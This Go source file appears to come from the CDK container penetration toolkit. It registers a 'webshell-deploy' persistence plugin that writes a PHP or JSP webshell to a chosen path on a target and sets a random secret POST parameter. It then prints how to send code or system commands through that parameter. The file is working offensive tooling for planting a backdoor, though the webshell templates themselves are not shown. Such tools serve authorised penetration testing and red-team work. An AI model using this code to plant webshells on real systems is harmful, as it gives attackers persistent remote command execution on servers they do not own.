//go:build !no_deploy_webshell
// +build !no_deploy_webshell

/*
Copyright 2022 The Authors of https://github.com/CDK-TEAM/CDK .

Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at

    http://www.apache.org/licenses/LICENSE-2.0

Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/

package persistence

import (
	"fmt"
	"log"
	"strings"

	"github.com/cdk-team/CDK/pkg/exploit/base"

	"github.com/cdk-team/CDK/conf"
	"github.com/cdk-team/CDK/pkg/cli"
	"github.com/cdk-team/CDK/pkg/errors"
	"github.com/cdk-team/CDK/pkg/plugin"
	"github.com/cdk-team/CDK/pkg/util"
)

func deployWebShell(scriptType string, path string) error {
	var content string
	var param = "cdk_" + util.RandString(7)
	switch strings.ToLower(scriptType) {
	case "php":
		content = strings.ReplaceAll(conf.WebShellCodePHP, "$SECRET_PARAM", param)
	case "jsp":
		content = strings.ReplaceAll(conf.WebShellCodeJSP, "$SECRET_PARAM", param)
	default:
		return errors.New("invalid input args. Usage: cdk run deploy-webshell (php|jsp) <filepath>.")
	}
	err := util.WriteFile(path, content)
	if err != nil {
		return &errors.CDKRuntimeError{Err: err, CustomMsg: "write webshell content failed."}
	}
	fmt.Printf("\t%s webshell saved in %s\n\tsend codes or system command via post param: %s=(codes)\n", scriptType, path, param)
	return nil
}

// plugin interface
type webShellDeployS struct{ base.BaseExploit }

func (p webShellDeployS) Desc() string {
	return "Write webshell to target path. Usage: cdk run webshell-deploy (php|jsp) <filepath>."
}

func (p webShellDeployS) Run() bool {

	args := cli.Args["<args>"].([]string)
	if len(args) != 2 {
		log.Println("invalid input args.")
		log.Fatal(p.Desc())
	}

	fileType := args[0]
	path := args[1]
	err := deployWebShell(fileType, path)
	if err != nil {
		fmt.Println(err)
		return false
	}
	return true
}

func init() {
	exploit := webShellDeployS{}
	exploit.ExploitType = "persistence"
	plugin.RegisterExploit("webshell-deploy", exploit)
}
